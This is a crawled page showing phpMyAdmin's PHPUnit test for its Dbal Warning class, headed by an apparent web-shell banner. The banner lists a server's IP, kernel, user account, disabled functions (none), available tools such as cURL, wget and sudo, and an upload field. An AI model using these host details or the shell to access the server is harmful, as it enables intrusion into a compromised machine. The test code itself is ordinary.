| Server IP : 3.96.16.70 / Your IP : 216.73.216.15 Web Server : Apache System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64 User : ec2-user ( 1000) PHP Version : 8.4.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/prod1.wondermakr.com/phpmyadmin/test/classes/Dbal/ |
Upload File : |
<?php
declare(strict_types=1);
namespace PhpMyAdmin\Tests\Dbal;
use PhpMyAdmin\Dbal\Warning;
use PHPUnit\Framework\TestCase;
/**
* @covers \PhpMyAdmin\Dbal\Warning
*/
class WarningTest extends TestCase
{
/**
* @param mixed[] $row
*
* @dataProvider providerForTestWarning
*/
public function testWarning(array $row, string $level, int $code, string $message, string $toString): void
{
$warning = Warning::fromArray($row);
self::assertSame($level, $warning->level);
self::assertSame($code, $warning->code);
self::assertSame($message, $warning->message);
self::assertSame($toString, (string) $warning);
}
/**
* @return int[][]|string[][]|string[][][]
* @psalm-return array{string[], string, int, string, string}[]
*/
public static function providerForTestWarning(): array
{
return [
[
['Level' => 'Error', 'Code' => '1046', 'Message' => 'No database selected'],
'Error',
1046,
'No database selected',
'Error: #1046 No database selected',
],
[
['Level' => 'Warning', 'Code' => '0', 'Message' => ''],
'Warning',
0,
'',
'Warning: #0',
],
[
['Level' => 'Note', 'Code' => '1', 'Message' => 'Message'],
'Note',
1,
'Message',
'Note: #1 Message',
],
[
['Level' => 'Invalid', 'Code' => 'Invalid', 'Message' => 'Invalid'],
'?',
0,
'Invalid',
'?: #0 Invalid',
],
[
['Level' => 'Unknown', 'Code' => '-1', 'Message' => ''],
'?',
0,
'',
'?: #0',
],
[
[],
'?',
0,
'',
'?: #0',
],
];
}
}